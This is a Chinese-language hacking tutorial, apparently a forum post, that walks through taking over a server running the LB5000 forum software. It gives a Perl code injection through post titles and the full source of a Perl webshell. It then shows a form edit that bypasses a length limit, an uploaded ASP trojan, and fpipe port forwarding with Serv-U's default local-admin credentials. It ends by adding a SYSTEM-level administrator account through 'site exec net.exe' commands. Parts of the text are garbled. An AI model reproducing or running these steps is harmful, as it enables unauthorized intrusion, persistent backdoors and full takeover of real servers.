其實這篇文章沒有什么技術含量,只是想把一些好的思路跟大家分享出來!
想必大家都知道LB論壇吧?我就不對其論壇及漏洞做過多的介紹了!
首先我們來注冊一個帳戶,然后我們隨便找個版塊發表一個文章!
在標題欄上輸入and system('dir c:\')#
OK!發表成功后,在地址欄處有相應文章ID
http://127.0.0.1/cgi-bin/topic.cgi?forum=1&topic=1
我們修改連接地址然后在地址欄提交此URL,就會觸發此漏洞!如下:
http://127.0.0.1/cgi-bin/forum1/1.pl
呵呵,看到什么了嗎?
-----------------------------
CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:
Can't find string terminator "'" anywhere before EOF at D:\bbs\cgi-bin\forum1\1.pl line 1.
-----------------------------
恩,這!
樣我們就得到了論壇在目標服務器上的本地路徑!
OK,接下來我們要通過此漏洞得到一個WEBSHELL,WEBSHELL的代碼如下:
#!/usr/bin/perl
binmode(STDOUT);
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
$_ = $ENV{QUERY_STRING};
s/%20/ /ig;
s/%2f/\//ig;
$execthis = $_;
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
open(STDERR, ">&STDOUT") ││ die "Can't redirect STDERR";
system($execthis);
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
close(STDERR);
close(STDOUT);
exit;
我們把它保存為*.txt文件!保存后,進帖子,我們上傳,上傳類型選擇TXT!
上傳完畢后,我們看看這個小東東的地址是什么!
http://127.0.0.1/non-cgi/usr/1/1_1.txt
這就是我們的CGI網頁木馬了!我們通過標題欄來把這個txt文件改為*.cgi的!
編輯自己的帖子!
and system('ren d:\bbs\non-cgi\usr\1\1_1.txt cmd.cgi')#
這里要說明一下!如果論壇的路徑設置的很深(?
熱紓篸:\webhost\www\website\host1\bbs\lb5000\non-cgi\usr\1\1_1!
.txt)<b
r>
我們就無法進行改名,因為標題欄處有限制,不可以超過40個漢字,路徑太長!怎么辦?別著急!看下面!
我們先把編輯帖子的頁面保存下來!用記事本打開保存的*.htm文件!找到提交標題欄的form表單!
<FORM name=FORM action=editpost.cgi method=post encType=multipart/form-data>
/我們把action提交的頁面修改成editpost.cgi在目標服務器的URL地址:
/<FORM name=FORM action=http://127.0.0.1/cgi-bin/editpost.cgi method=post encType=multipart/form-data>
……代碼省略……
<TD bgColor=#f4faed><INPUT maxLength=80 size=60 value=這里就是關鍵,我們在這里填入要提交的表單!
name=newtopictitle> 不得超過 40 個漢字</TD>
……代碼省略……
</FORM>
這樣就可以了,保存,雙擊打開它,然后點“發表”!就OK了!
提交后我們來執行!
http://127.0.0.1/cgi-bin/forum1/1.pl
刷新一下就可以了!我們來看看有沒有執行成功?!
http://127.0.0.1/non-cgi/usr/1/cmd.cgi
哈哈,是不是已經可以了?到此,我們就已經得到了一個WEBSHELL,我們來看看服務器?
那榭?br>
http://127.0.0.1/non-cgi/usr/1/cmd.cgi?net start
有終端,且安裝了SERV-U(據我了解70%以上的服務器都有安裝它)這個軟件說好也好,說不好也不好!
好就好在它很實用,不好在于它的漏洞很多,這不!SERV-U5.0現在都可以溢出。。。建議大家都別用它了!
繼續!我對這個CGI的后門不太喜歡,所以,我這里用ASP的后門!用同樣的方法來上傳一個ASP后門(我用的是海陽頂端網ASP木馬)
http://127.0.0.1/non-cgi/usr/1/cmd.asp
呵呵!接下來我們利用SERV-U來獲得SYSTEM權限的帳戶!
我們登陸ASP后門!進入d:\bbs\non-cgi\usr\1目錄下,我們需要一個小東西-FPIPE.EXE,這個東西不用介紹了吧?!呵呵~·
把它傳到此目錄下!傳好后,咱們來執行它!在ASP目錄里執行!
d:\bbs\non-cgi\usr\1\fpipe -v -l 19739 -r 43958 127.0.0.1
好!監聽端口19739,打開你本地SERV-U添加一臺服務器,來連接19739!
填上服務器IP,監聽端口號19739,填上帳戶和密碼!
user:LocalAdministrator
pass:#l@$ak#.lk;0@P
全部搞定后,來連接SERV-U,連接成功后,我們就對此服務器?
腟ERV-U有了完全控制權限!
我們建立一個FTP帳戶:
!
user:adm
in
pass:caozhe
把帳戶的連接路徑設置在系統盤下(例如C:\)!帳戶權限全部分配(最好還提升至系統管理員)
然后,我們打開CMD!
Microsoft Windows [版本 5.2.3790]
(C) 版權所有 1985-2003 Microsoft Corp.
C:\document. and Settings\Administrator>ftp
ftp>open 127.0.0.1
Connected to ip.
220 Serv-U FTP Server v4.0.1 for WinSock ready...
User (ip:(none)):admin /我們剛建立的帳戶名
331 User name okay, please send complete E-mail address as password.
Password:caozhe /密碼
230 User logged in, proceed.
ftp> cd winnt\system32 /進入系統的winnt\system32目錄下
250 Directory changed to /WINNT/system32
ftp>quote site exec net.exe user admin caozhe /add /利用NET.EXE建立帳戶
200 EXEC command suclearcase/" target="_blank" >ccessful (TID=33).
ftp>quote site exec net.exe localhost administrators admin /add /把admin帳戶加到管理員組
200 EXEC command successful (TID=33).
到此,我們已經擁有了一個SYST!
EM級別的帳戶,用終端服務來連接吧!呵呵,接下來的事,你們看著辦吧!
希望大家別去破壞別人的服務器或數據,畢竟大家都不容易!
有任何問題或對此文有意見的請與我聯系!